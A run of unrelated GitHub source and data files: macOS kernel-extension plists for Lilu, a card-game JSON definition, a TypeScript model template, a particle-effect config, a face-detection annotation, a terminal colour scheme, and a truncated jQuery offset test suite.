</plist>
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>BuildMachineOSBuild</key> <string>17D102</string> <key>CFBundleDevelopmentRegion</key> <string>en</string> <key>CFBundleExecutable</key> <string>Lilu</string> <key>CFBundleIdentifier</key> <string>as.vit9696.Lilu</string> <key>CFBundleInfoDictionaryVersion</key> <string>6.0</string> <key>CFBundleName</key> <string>Lilu</string> <key>CFBundlePackageType</key> <string>KEXT</string> <key>CFBundleShortVersionString</key> <string>1.3.7</string> <key>CFBundleSignature</key> <string>????</string> <key>CFBundleSupportedPlatforms</key> <array> <string>MacOSX</string> </array> <key>CFBundleVersion</key> <string>1.3.7</string> <key>DTCompiler</key> <string>com.apple.compilers.llvm.clang.1_0</string> <key>DTPlatformBuild</key> <string>9F2000</string> <key>DTPlatformVersion</key> <string>GM</string> <key>DTSDKBuild</key> <string>17E189</string> <key>DTSDKName</key> <string>macosx10.13</string> <key>DTXcode</key> <string>0941</string> <key>DTXcodeBuild</key> <string>9F2000</string> <key>IOKitPersonalities</key> <dict> <key>as.vit9696.Lilu</key> <dict> <key>CFBundleIdentifier</key> <string>as.vit9696.Lilu</string> <key>IOClass</key> <string>Lilu</string> <key>IOMatchCategory</key> <string>Lilu</string> <key>IOProviderClass</key> <string>IOResources</string> <key>IOResourceMatch</key> <string>IOKit</string> </dict> </dict> <key>NSHumanReadableCopyright</key> <string>Copyright © 2016-2018 vit9696. All rights reserved.</string> <key>OSBundleCompatibleVersion</key> <string>1.2.0</string> <key>OSBundleLibraries</key> <dict> <key>com.apple.kpi.bsd</key> <string>12.0.0</string> <key>com.apple.kpi.dsep</key> <string>12.0.0</string> <key>com.apple.kpi.iokit</key> <string>12.0.0</string> <key>com.apple.kpi.libkern</key> <string>12.0.0</string> <key>com.apple.kpi.mach</key> <string>12.0.0</string> <key>com.apple.kpi.unsupported</key> <string>12.0.0</string> </dict> <key>OSBundleRequired</key> <string>Root</string> </dict> </plist>
{ "pile_set_name": "Github" }
{ "name": "Kun the Forgotten King", "baseManaCost": 10, "type": "MINION", "baseAttack": 7, "baseHp": 7, "heroClass": "DRUID", "rarity": "LEGENDARY", "description": "Choose One - Gain 10 Armor; or Refresh your Mana Crystals.", "options": [ { "description": "Gain 10 Armor", "spell": { "class": "BuffHeroSpell", "target": "FRIENDLY_HERO", "armorBonus": 10 } }, { "description": "Refresh Mana", "spell": { "class": "GainManaSpell", "value": { "class": "AlgebraicValueProvider", "operation": "SUBTRACT", "value1": { "class": "PlayerAttributeValueProvider", "playerAttribute": "MAX_MANA" }, "value2": { "class": "PlayerAttributeValueProvider", "playerAttribute": "MANA" } } } } ], "bothOptions": { "description": "10 Armor and Refresh", "spell": { "class": "MetaSpell", "spells": [ { "class": "BuffHeroSpell", "target": "FRIENDLY_HERO", "armorBonus": 10 }, { "class": "GainManaSpell", "value": { "class": "AlgebraicValueProvider", "operation": "SUBTRACT", "value1": { "class": "PlayerAttributeValueProvider", "playerAttribute": "MAX_MANA" }, "value2": { "class": "PlayerAttributeValueProvider", "playerAttribute": "MANA" } } } ] } }, "collectible": true, "set": "MEAN_STREETS_OF_GADGETZAN", "fileFormatVersion": 1 }
{ "pile_set_name": "Github" }
{{>licenseInfo}} {{#models}} {{#model}} import { RequestFile } from './models'; {{#tsImports}} import { {{classname}} } from '{{filename}}'; {{/tsImports}} {{#description}} /** * {{{description}}} */ {{/description}} {{^isEnum}} export class {{classname}} {{#parent}}extends {{{parent}}} {{/parent}}{ {{#vars}} {{#description}} /** * {{{description}}} */ {{/description}} '{{name}}'{{^required}}?{{/required}}: {{#isEnum}}{{{datatypeWithEnum}}}{{/isEnum}}{{^isEnum}}{{{dataType}}}{{#isNullable}} | null{{/isNullable}}{{/isEnum}}; {{/vars}} {{#discriminator}} static discriminator: string | undefined = "{{discriminatorName}}"; {{/discriminator}} {{^discriminator}} static discriminator: string | undefined = undefined; {{/discriminator}} {{^isArrayModel}} static attributeTypeMap: Array<{name: string, baseName: string, type: string}> = [ {{#vars}} { "name": "{{name}}", "baseName": "{{baseName}}", "type": "{{#isEnum}}{{{datatypeWithEnum}}}{{/isEnum}}{{^isEnum}}{{{dataType}}}{{/isEnum}}" }{{#hasMore}}, {{/hasMore}} {{/vars}} ]; static getAttributeTypeMap() { {{#parent}} return super.getAttributeTypeMap().concat({{classname}}.attributeTypeMap); {{/parent}} {{^parent}} return {{classname}}.attributeTypeMap; {{/parent}} } {{/isArrayModel}} } {{#hasEnums}} export namespace {{classname}} { {{#vars}} {{#isEnum}} export enum {{enumName}} { {{#allowableValues}} {{#enumVars}} {{name}} = <any> {{{value}}}{{^-last}},{{/-last}} {{/enumVars}} {{/allowableValues}} } {{/isEnum}} {{/vars}} } {{/hasEnums}} {{/isEnum}} {{#isEnum}} export enum {{classname}} { {{#allowableValues}} {{#enumVars}} {{name}} = <any> {{{value}}}{{^-last}},{{/-last}} {{/enumVars}} {{/allowableValues}} } {{/isEnum}} {{/model}} {{/models}}
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>angle</key> <real>90</real> <key>angleVariance</key> <real>360</real> <key>blendFuncDestination</key> <integer>1</integer> <key>blendFuncSource</key> <integer>770</integer> <key>duration</key> <real>-1</real> <key>emitterType</key> <real>0.0</real> <key>finishColorAlpha</key> <real>1</real> <key>finishColorBlue</key> <real>0.0</real> <key>finishColorGreen</key> <real>0.0</real> <key>finishColorRed</key> <real>0.0</real> <key>finishColorVarianceAlpha</key> <real>0.0</real> <key>finishColorVarianceBlue</key> <real>0.0</real> <key>finishColorVarianceGreen</key> <real>0.0</real> <key>finishColorVarianceRed</key> <real>0.0</real> <key>finishParticleSize</key> <real>37</real> <key>finishParticleSizeVariance</key> <real>0.0</real> <key>gravityx</key> <real>0.0</real> <key>gravityy</key> <real>0.0</real> <key>maxParticles</key> <real>934</real> <key>maxRadius</key> <real>276.20999145507812</real> <key>maxRadiusVariance</key> <real>154.94999694824219</real> <key>minRadius</key> <real>0.0</real> <key>particleLifespan</key> <real>4</real> <key>particleLifespanVariance</key> <real>1</real> <key>radialAccelVariance</key> <real>0.0</real> <key>radialAcceleration</key> <real>-20</real> <key>rotatePerSecond</key> <real>35.529998779296875</real> <key>rotatePerSecondVariance</key> <real>0.0</real> <key>sourcePositionVariancex</key> <real>0.0</real> <key>sourcePositionVariancey</key> <real>0.0</real> <key>sourcePositionx</key> <real>169.91000366210938</real> <key>sourcePositiony</key> <real>228.71000671386719</real> <key>speed</key> <real>59.209999084472656</real> <key>speedVariance</key> <real>10</real> <key>startColorAlpha</key> <real>1</real> <key>startColorBlue</key> <real>0.75999999046325684</real> <key>startColorGreen</key> <real>0.25</real> <key>startColorRed</key> <real>0.11999999731779099</real> <key>startColorVarianceAlpha</key> <real>0.0</real> <key>startColorVarianceBlue</key> <real>0.0</real> <key>startColorVarianceGreen</key> <real>0.0</real> <key>startColorVarianceRed</key> <real>0.0</real> <key>startParticleSize</key> <real>37</real> <key>startParticleSizeVariance</key> <real>10</real> <key>tangentialAccelVariance</key> <real>50</real> <key>tangentialAcceleration</key> <real>50</real> <key>textureFileName</key> <string>Galaxy.png</string> <key>textureImageData</key> <string>H4sIAAAAAAAAAwFmA5n8iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAADLUlEQVRYCcXX51JbQRCEUeOc/f6v6ZzxHKFPLAoI84epmrp7985294QVxcXl5eWjh7Sn9yB/MWcej19sXQb87/iP8f+yiztWAOmzcYL5k/F9AX9m7/fWf83zTmLOVeD5AHECWieiKpR95D8nlhPcepbH7TYBL+dI/mrWRCRkrQIBZY9Q5vzb+PdxQj2P2ikBCPnrxb0TRMQpAYiRIa9lVcregR0TgATZm/G3W7cmxn5VaA6qQNkjEkNAMbPcDOpBJfYF6DMByJC/H3+3XSfC97IziATov8FD8HUcDmzZs+bETSF0Z+cEICeCE0TYOQFlHznSZoTQkwIc5PW+FqwC7NUGVagCXTvlXzNHXnXE5LsrulYAYFduX4Ts11b4LlaWlbXBWzNH2GxojzN4jgogJgENYreganyYGELsq1YCAOp9CZX5eivEwy9mltcvPvqwirBHSGKIQE6Eitg35forO5mxSo5cDJyVHIf3TRVSIxNgiUgIUO5Abel2qII4hLJnSk5M7XC2rMPGU5s2APO++11PiKBVUECEyAq5athHyvS6TO2vhOHB72/ILK+VtHnb0+EEAkeiLZGV2UpyG94cvRbgh+KcGyzenZb5l3FPbbBfzDks3zcmE9aBCIBF1FCt16meO98M6L3BEpeohIUHP65ZXvXJM2IH8oCAATZYiJWc+a7swJF/HvddnHjnuLgwE4RvY1XAAVMuwAHvHPA61cUDNnD6DUws8k/j2kJEZ8NahdjbWIBeVvJIgSISh4yJ8931SgBwpMhVwtPZKiIeaSJmeWWrgMolENh6pSKXrTjftcKU66m9ziViFSI+AWJ3tgoQADTwrtdKLvvinE2AfcAylTXyj9tn1UiE8ztbBdhUIiD2u9ez3PS5LP0QJe6UgKpgJhpOuPBv2DEBMubAmbI3H0BqDYEJcBOAy06mqpCI/xIw5zYViFx/gZc98IZyX0DtITIR+4M4n27afgX6CgB52dffsq9FawWqkipUCWLyWR7aKQEiHVwFuHbrX7batApNRO3wPOj77O3swf8zuquAneJZaEPZ14KqcOOKrYdOre8j4BTWvfZl8qD2D7ghcomuE8XXAAAAAElFTkSuQmCCksg8PmYDAAA=</string> </dict> </plist>
{ "pile_set_name": "Github" }
<?xml version="1.0" ?> <annotation> <folder>widerface</folder> <filename>0--Parade_0_Parade_Parade_0_1019.jpg</filename> <source> <database>wider face Database</database> <annotation>PASCAL VOC2007</annotation> <image>flickr</image> <flickrid>-1</flickrid> </source> <owner> <flickrid>yanyu</flickrid> <name>yanyu</name> </owner> <size> <width>1024</width> <height>680</height> <depth>3</depth> </size> <segmented>0</segmented> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>289</xmin> <ymin>233</ymin> <xmax>303</xmax> <ymax>251</ymax> </bndbox> <lm> <x1>295.0</x1> <y1>237.0</y1> <x2>301.0</x2> <y2>237.0</y2> <x3>299.0</x3> <y3>241.0</y3> <x4>295.0</x4> <y4>244.0</y4> <x5>302.0</x5> <y5>244.0</y5> <visible>0</visible> <blur>0.27</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>309</xmin> <ymin>216</ymin> <xmax>345</xmax> <ymax>257</ymax> </bndbox> <lm> <x1>321.0</x1> <y1>230.0</y1> <x2>333.0</x2> <y2>230.0</y2> <x3>329.0</x3> <y3>235.0</y3> <x4>322.0</x4> <y4>244.0</y4> <x5>336.0</x5> <y5>245.0</y5> <visible>1</visible> <blur>0.48</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>343</xmin> <ymin>211</ymin> <xmax>381</xmax> <ymax>262</ymax> </bndbox> <lm> <x1>353.527</x1> <y1>231.286</y1> <x2>366.562</x2> <y2>231.286</y2> <x3>362.652</x3> <y3>238.129</y3> <x4>356.134</x4> <y4>251.817</y4> <x5>366.888</x5> <y5>251.817</y5> <visible>1</visible> <blur>0.51</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>366</xmin> <ymin>204</ymin> <xmax>411</xmax> <ymax>259</ymax> </bndbox> <lm> <x1>384.17</x1> <y1>222.643</y1> <x2>400.188</x2> <y2>223.688</y2> <x3>392.179</x3> <y3>234.134</y3> <x4>380.339</x4> <y4>245.625</y4> <x5>395.312</x5> <y5>245.973</y5> <visible>0</visible> <blur>0.6</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>413</xmin> <ymin>200</ymin> <xmax>465</xmax> <ymax>257</ymax> </bndbox> <has_lm>0</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>457</xmin> <ymin>189</ymin> <xmax>510</xmax> <ymax>251</ymax> </bndbox> <lm> <x1>471.348</x1> <y1>205.906</y1> <x2>497.759</x2> <y2>206.295</y2> <x3>485.719</x3> <y3>220.277</y3> <x4>474.067</x4> <y4>232.317</y4> <x5>494.263</x5> <y5>233.094</y5> <visible>1</visible> <blur>0.61</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>598</xmin> <ymin>207</ymin> <xmax>637</xmax> <ymax>257</ymax> </bndbox> <lm> <x1>605.438</x1> <y1>223.812</y1> <x2>620.438</x2> <y2>224.438</y2> <x3>611.688</x3> <y3>236.0</y3> <x4>607.0</x4> <y4>246.625</y4> <x5>617.312</x5> <y5>247.875</y5> <visible>1</visible> <blur>0.54</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>523</xmin> <ymin>164</ymin> <xmax>588</xmax> <ymax>245</ymax> </bndbox> <lm> <x1>545.33</x1> <y1>190.768</y1> <x2>572.304</x2> <y2>191.277</y2> <x3>560.089</x3> <y3>204.509</y3> <x4>546.857</x4> <y4>219.777</y4> <x5>563.652</x5> <y5>220.795</y5> <visible>0</visible> <blur>0.65</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>626</xmin> <ymin>147</ymin> <xmax>698</xmax> <ymax>233</ymax> </bndbox> <lm> <x1>649.116</x1> <y1>175.455</y1> <x2>679.366</x2> <y2>177.076</y2> <x3>665.862</x3> <y3>192.741</y3> <x4>651.277</x4> <y4>208.946</y4> <x5>677.205</x5> <y5>210.567</y5> <visible>0</visible> <blur>0.67</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>704</xmin> <ymin>110</ymin> <xmax>793</xmax> <ymax>218</ymax> </bndbox> <lm> <x1>735.964</x1> <y1>145.0</y1> <x2>777.357</x2> <y2>147.036</y2> <x3>761.071</x3> <y3>161.964</y3> <x4>741.393</x4> <y4>187.071</y4> <x5>769.893</x5> <y5>187.071</y5> <visible>0</visible> <blur>0.72</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>849</xmin> <ymin>189</ymin> <xmax>901</xmax> <ymax>256</ymax> </bndbox> <lm> <x1>855.536</x1> <y1>212.348</y1> <x2>879.036</x2> <y2>213.188</y2> <x3>859.732</x3> <y3>224.938</y3> <x4>852.598</x4> <y4>238.366</y4> <x5>872.741</x5> <y5>237.107</y5> <visible>1</visible> <blur>0.54</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>947</xmin> <ymin>241</ymin> <xmax>987</xmax> <ymax>289</ymax> </bndbox> <lm> <x1>953.0</x1> <y1>253.0</y1> <x2>968.0</x2> <y2>253.0</y2> <x3>958.0</x3> <y3>264.0</y3> <x4>953.0</x4> <y4>273.0</y4> <x5>966.0</x5> <y5>274.0</y5> <visible>1</visible> <blur>0.54</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>971</xmin> <ymin>186</ymin> <xmax>1024</xmax> <ymax>267</ymax> </bndbox> <lm> <x1>981.33</x1> <y1>210.223</y1> <x2>1009.83</x2> <y2>207.17</y2> <x3>991.509</x3> <y3>226.509</y3> <x4>986.929</x4> <y4>247.375</y4> <x5>1007.286</x5> <y5>247.375</y5> <visible>0</visible> <blur>0.62</blur> </lm> <has_lm>1</has_lm> </object> </annotation>
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>BuildMachineOSBuild</key> <string>17B1003</string> <key>CFBundleDevelopmentRegion</key> <string>en</string> <key>CFBundleExecutable</key> <string>Lilu</string> <key>CFBundleIdentifier</key> <string>as.vit9696.Lilu</string> <key>CFBundleInfoDictionaryVersion</key> <string>6.0</string> <key>CFBundleName</key> <string>Lilu</string> <key>CFBundlePackageType</key> <string>KEXT</string> <key>CFBundleShortVersionString</key> <string>1.2.2</string> <key>CFBundleSignature</key> <string>????</string> <key>CFBundleSupportedPlatforms</key> <array> <string>MacOSX</string> </array> <key>CFBundleVersion</key> <string>1.2.2</string> <key>DTCompiler</key> <string>com.apple.compilers.llvm.clang.1_0</string> <key>DTPlatformBuild</key> <string>9C40b</string> <key>DTPlatformVersion</key> <string>GM</string> <key>DTSDKBuild</key> <string>17C76</string> <key>DTSDKName</key> <string>macosx10.13</string> <key>DTXcode</key> <string>0920</string> <key>DTXcodeBuild</key> <string>9C40b</string> <key>IOKitPersonalities</key> <dict> <key>as.vit9696.Lilu</key> <dict> <key>CFBundleIdentifier</key> <string>as.vit9696.Lilu</string> <key>IOClass</key> <string>Lilu</string> <key>IOMatchCategory</key> <string>Lilu</string> <key>IOProviderClass</key> <string>IOResources</string> <key>IOResourceMatch</key> <string>IOKit</string> </dict> </dict> <key>NSHumanReadableCopyright</key> <string>Copyright © 2016-2017 vit9696. All rights reserved.</string> <key>OSBundleCompatibleVersion</key> <string>1.2.0</string> <key>OSBundleLibraries</key> <dict> <key>com.apple.kpi.bsd</key> <string>12.0.0</string> <key>com.apple.kpi.dsep</key> <string>12.0.0</string> <key>com.apple.kpi.iokit</key> <string>12.0.0</string> <key>com.apple.kpi.libkern</key> <string>12.0.0</string> <key>com.apple.kpi.mach</key> <string>12.0.0</string> <key>com.apple.kpi.unsupported</key> <string>12.0.0</string> </dict> <key>OSBundleRequired</key> <string>Root</string> </dict> </plist>
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Ansi 0 Color</key> <dict> <key>Blue Component</key> <real>0.11764705926179886</real> <key>Green Component</key> <real>0.11372549086809158</real> <key>Red Component</key> <real>0.10588235408067703</real> </dict> <key>Ansi 1 Color</key> <dict> <key>Blue Component</key> <real>0.44705882668495178</real> <key>Green Component</key> <real>0.14901961386203766</real> <key>Red Component</key> <real>0.97647058963775635</real> </dict> <key>Ansi 10 Color</key> <dict> <key>Blue Component</key> <real>0.32941177487373352</real> <key>Green Component</key> <real>0.89019608497619629</real> <key>Red Component</key> <real>0.7137255072593689</real> </dict> <key>Ansi 11 Color</key> <dict> <key>Blue Component</key> <real>0.42352941632270813</real> <key>Green Component</key> <real>0.92941176891326904</real> <key>Red Component</key> <real>0.99607843160629272</real> </dict> <key>Ansi 12 Color</key> <dict> <key>Blue Component</key> <real>1</real> <key>Green Component</key> <real>0.47189891338348389</real> <key>Red Component</key> <real>0.24895495176315308</real> </dict> <key>Ansi 13 Color</key> <dict> <key>Blue Component</key> <real>0.99607843160629272</real> <key>Green Component</key> <real>0.43529412150382996</real> <key>Red Component</key> <real>0.61960786581039429</real> </dict> <key>Ansi 14 Color</key> <dict> <key>Blue Component</key> <real>0.8343467116355896</real> <key>Green Component</key> <real>0.8100578784942627</real> <key>Red Component</key> <real>0.13887438178062439</real> </dict> <key>Ansi 15 Color</key> <dict> <key>Blue Component</key> <real>0.94901961088180542</real> <key>Green Component</key> <real>0.97254902124404907</real> <key>Red Component</key> <real>0.97254902124404907</real> </dict> <key>Ansi 2 Color</key> <dict> <key>Blue Component</key> <real>0.25280961394309998</real> <key>Green Component</key> <real>0.97087103128433228</real> <key>Red Component</key> <real>0.3035159707069397</real> </dict> <key>Ansi 3 Color</key> <dict> <key>Blue Component</key> <real>0.13225273787975311</real> <key>Green Component</key> <real>0.99215686321258545</real> <key>Red Component</key> <real>0.95645564794540405</real> </dict> <key>Ansi 4 Color</key> <dict> <key>Blue Component</key> <real>0.83921569585800171</real> <key>Green Component</key> <real>0.34020638465881348</real> <key>Red Component</key> <real>0.15113066136837006</real> </dict> <key>Ansi 5 Color</key> <dict> <key>Blue Component</key> <real>0.99607843160629272</real> <key>Green Component</key> <real>0.32941177487373352</real> <key>Red Component</key> <real>0.54901963472366333</real> </dict> <key>Ansi 6 Color</key> <dict> <key>Blue Component</key> <real>0.70948368310928345</real> <key>Green Component</key> <real>0.78459066152572632</real> <key>Red Component</key> <real>0.21906496584415436</real> </dict> <key>Ansi 7 Color</key> <dict> <key>Blue Component</key> <real>0.7764706015586853</real> <key>Green Component</key> <real>0.80000001192092896</real> <key>Red Component</key> <real>0.80000001192092896</real> </dict> <key>Ansi 8 Color</key> <dict> <key>Blue Component</key> <real>0.32941177487373352</real> <key>Green Component</key> <real>0.32549020648002625</real> <key>Red Component</key> <real>0.31372550129890442</real> </dict> <key>Ansi 9 Color</key> <dict> <key>Blue Component</key> <real>0.58431375026702881</real> <key>Green Component</key> <real>0.3490196168422699</real> <key>Red Component</key> <real>1</real> </dict> <key>Background Color</key> <dict> <key>Blue Component</key> <real>0.11764705926179886</real> <key>Green Component</key> <real>0.11372549086809158</real> <key>Red Component</key> <real>0.10588235408067703</real> </dict> <key>Bold Color</key> <dict> <key>Blue Component</key> <real>1</real> <key>Green Component</key> <real>1</real> <key>Red Component</key> <real>1</real> </dict> <key>Cursor Color</key> <dict> <key>Blue Component</key> <real>0.12078898400068283</real> <key>Green Component</key> <real>0.59354037046432495</real> <key>Red Component</key> <real>0.99016290903091431</real> </dict> <key>Cursor Text Color</key> <dict> <key>Blue Component</key> <real>0.0</real> <key>Green Component</key> <real>0.0</real> <key>Red Component</key> <real>0.0</real> </dict> <key>Foreground Color</key> <dict> <key>Blue Component</key> <real>0.97263854742050171</real> <key>Green Component</key> <real>0.97263854742050171</real> <key>Red Component</key> <real>0.97263854742050171</real> </dict> <key>Selected Text Color</key> <dict> <key>Blue Component</key> <real>1</real> <key>Green Component</key> <real>1</real> <key>Red Component</key> <real>1</real> </dict> <key>Selection Color</key> <dict> <key>Blue Component</key> <real>0.30241936445236206</real> <key>Green Component</key> <real>0.30241936445236206</real> <key>Red Component</key> <real>0.30241936445236206</real> </dict> </dict> </plist>
{ "pile_set_name": "Github" }
(function() { if ( !jQuery.fn.offset ) { return; } var supportsScroll, supportsFixedPosition, forceScroll = jQuery("<div/>").css({ width: 2000, height: 2000 }), checkSupport = function() { // Only run once checkSupport = false; var checkFixed = jQuery("<div/>").css({ position: "fixed", top: "20px" }).appendTo("#qunit-fixture"); // Must append to body because #qunit-fixture is hidden and elements inside it don't have a scrollTop forceScroll.appendTo("body"); window.scrollTo( 200, 200 ); supportsScroll = document.documentElement.scrollTop || document.body.scrollTop; forceScroll.detach(); // Safari subtracts parent border width here (which is 5px) supportsFixedPosition = checkFixed[0].offsetTop === 20 || checkFixed[0].offsetTop === 15; checkFixed.remove(); }; module("offset", { setup: function(){ if ( typeof checkSupport === "function" ) { checkSupport(); } // Force a scroll value on the main window to ensure incorrect results // if offset is using the scroll offset of the parent window forceScroll.appendTo("body"); window.scrollTo( 1, 1 ); forceScroll.detach(); }, teardown: moduleTeardown }); /* Closure-compiler will roll static methods off of the jQuery object and so they will not be passed with the jQuery object across the windows. To differentiate this, the testIframe callbacks use the "$" symbol to refer to the jQuery object passed from the iframe window and the "jQuery" symbol is used to access any static methods. */ test("empty set", function() { expect(2); strictEqual( jQuery().offset(), undefined, "offset() returns undefined for empty set (#11962)" ); strictEqual( jQuery().position(), undefined, "position() returns undefined for empty set (#11962)" ); }); test("object without getBoundingClientRect", function() { expect(2); // Simulates a browser without gBCR on elements, we just want to return 0,0 var result = jQuery({ ownerDocument: document }).offset(); equal( result.top, 0, "Check top" ); equal( result.left, 0, "Check left" ); }); test("disconnected node", function() { expect(2); var result = jQuery( document.createElement("div") ).offset(); equal( result.top, 0, "Check top" ); equal( result.left, 0, "Check left" ); }); testIframe("offset/absolute", "absolute", function($, iframe) { expect(4); var doc = iframe.document, tests; // get offset tests = [ { "id": "#absolute-1", "top": 1, "left": 1 } ]; jQuery.each( tests, function() { equal( jQuery( this["id"], doc ).offset().top, this["top"], "jQuery('" + this["id"] + "').offset().top" ); equal( jQuery( this["id"], doc ).offset().left, this["left"], "jQuery('" + this["id"] + "').offset().left" ); }); // get position tests = [ { "id": "#absolute-1", "top": 0, "left": 0 } ]; jQuery.each( tests, function() { equal( jQuery( this["id"], doc ).position().top, this["top"], "jQuery('" + this["id"] + "').position().top" ); equal( jQuery( this["id"], doc ).position().left, this["left"], "jQuery('" + this["id"] + "').position().left" ); }); }); testIframe("offset/absolute", "absolute", function( $ ) { expect(178); var tests, offset; // get offset tests tests = [ { "id": "#absolute-1", "top": 1, "left": 1 }, { "id": "#absolute-1-1", "top": 5, "left": 5 }, { "id": "#absolute-1-1-1", "top": 9, "left": 9 }, { "id": "#absolute-2", "top": 20, "left": 20 } ]; jQuery.each( tests, function() { equal( $( this["id"] ).offset().top, this["top"], "jQuery('" + this["id"] + "').offset().top" ); equal( $( this["id"] ).offset().left, this["left"], "jQuery('" + this["id"] + "').offset().left" ); }); // get position tests = [ { "id": "#absolute-1", "top": 0, "left": 0 }, { "id": "#absolute-1-1", "top": 1, "left": 1 }, { "id": "#absolute-1-1-1", "top": 1, "left": 1 }, { "id": "#absolute-2", "top": 19, "left": 19 } ]; jQuery.each( tests, function() { equal( $( this["id"] ).position().top, this["top"], "jQuery('" + this["id"] + "').position().top" ); equal( $( this["id"] ).position().left, this["left"], "jQuery('" + this["id"] + "').position().left" ); }); // test #5781 offset = $( "#positionTest" ).offset({ "top": 10, "left": 10 }).offset(); equal( offset.top, 10, "Setting offset on element with position absolute but 'auto' values." ); equal( offset.left, 10, "Setting offset on element with position absolute but 'auto' values." ); // set offset tests = [ { "id": "#absolute-2", "top": 30, "left": 30 }, { "id": "#absolute-2", "top": 10, "left": 10 }, { "id": "#absolute-2", "top": -1, "left": -1 }, { "id": "#absolute-2", "top": 19, "left": 19 }, { "id": "#absolute-1-1-1", "top": 15, "left": 15 }, { "id": "#absolute-1-1-1", "top": 5, "left": 5 }, { "id": "#absolute-1-1-1", "top": -1, "left": -1 }, { "id": "#absolute-1-1-1", "top": 9, "left": 9 }, { "id": "#absolute-1-1", "top": 10, "left": 10 }, { "id": "#absolute-1-1", "top": 0, "left": 0 }, { "id": "#absolute-1-1", "top": -1, "left": -1 }, { "id": "#absolute-1-1", "top": 5, "left": 5 }, { "id": "#absolute-1", "top": 2, "left": 2 }, { "id": "#absolute-1", "top": 0, "left": 0 }, { "id": "#absolute-1", "top": -1, "left": -1 }, { "id": "#absolute-1", "top": 1, "left": 1 } ]; jQuery.each( tests, function() { $( this["id"] ).offset({ "top": this["top"], "left": this["left"] }); equal( $( this["id"] ).offset().top, this["top"], "jQuery('" + this["id"] + "').offset({ top: " + this["top"] + " })" ); equal( $( this["id"] ).offset().left, this["left"], "jQuery('" + this["id"] + "').offset({ left: " + this["left"] + " })" ); var top = this["top"], left = this["left"]; $( this["id"] ).offset(function(i, val){ equal( val.top, top, "Verify incoming top position." ); equal( val.left, left, "Verify incoming top position." ); return { "top": top + 1, "left": left + 1 }; }); equal( $( this["id"] ).offset().top, this["top"] + 1, "jQuery('" + this["id"] + "').offset({ top: " + (this["top"] + 1) + " })" ); equal( $( this["id"] ).offset().left, this["left"] + 1, "jQuery('" + this["id"] + "').offset({ left: " + (this["left"] + 1) + " })" ); $( this["id"] ) .offset({ "left": this["left"] + 2 }) .offset({ "top": this["top"] + 2 }); equal( $( this["id"] ).offset().top, this["top"] + 2, "Setting one property at a time." ); equal( $( this["id"] ).offset().left, this["left"] + 2, "Setting one property at a time." ); $( this["id"] ).offset({ "top": this["top"], "left": this["left"], "using": function( props ) { $( this ).css({ "top": props.top + 1, "left": props.left + 1 }); }}); equal( $( this["id"] ).offset().top, this["top"] + 1, "jQuery('" + this["id"] + "').offset({ top: " + (this["top"] + 1) + ", using: fn })" ); equal( $( this["id"] ).offset().left, this["left"] + 1, "jQuery('" + this["id"] + "').offset({ left: " + (this["left"] + 1) + ", using: fn })" ); }); }); testIframe("offset/relative", "relative", function( $ ) { expect(60); var ie, tests; // IE is collapsing the top margin of 1px; detect and adjust accordingly ie = $("#relative-1").offset().top === 6; // get offset tests = [ { "id": "#relative-1", "top": ie ? 6 : 7, "left": 7 }, { "id": "#relative-1-1", "top": ie ? 13 : 15, "left": 15 }, { "id": "#relative-2", "top": ie ? 141 : 142, "left": 27 } ]; jQuery.each( tests, function() { equal( $( this["id"] ).offset().top, this["top"], "jQuery('" + this["id"] + "').offset().top" ); equal( $( this["id"] ).offset().left, this["left"], "jQuery('" + this["id"] + "').offset().left" ); }); // get position tests = [ { "id": "#relative-1", "top": ie ? 5 : 6, "left": 6 }, { "id": "#relative-1-1", "top": ie ? 4 : 5, "left": 5 }, { "id": "#relative-2", "top": ie ? 140 : 141, 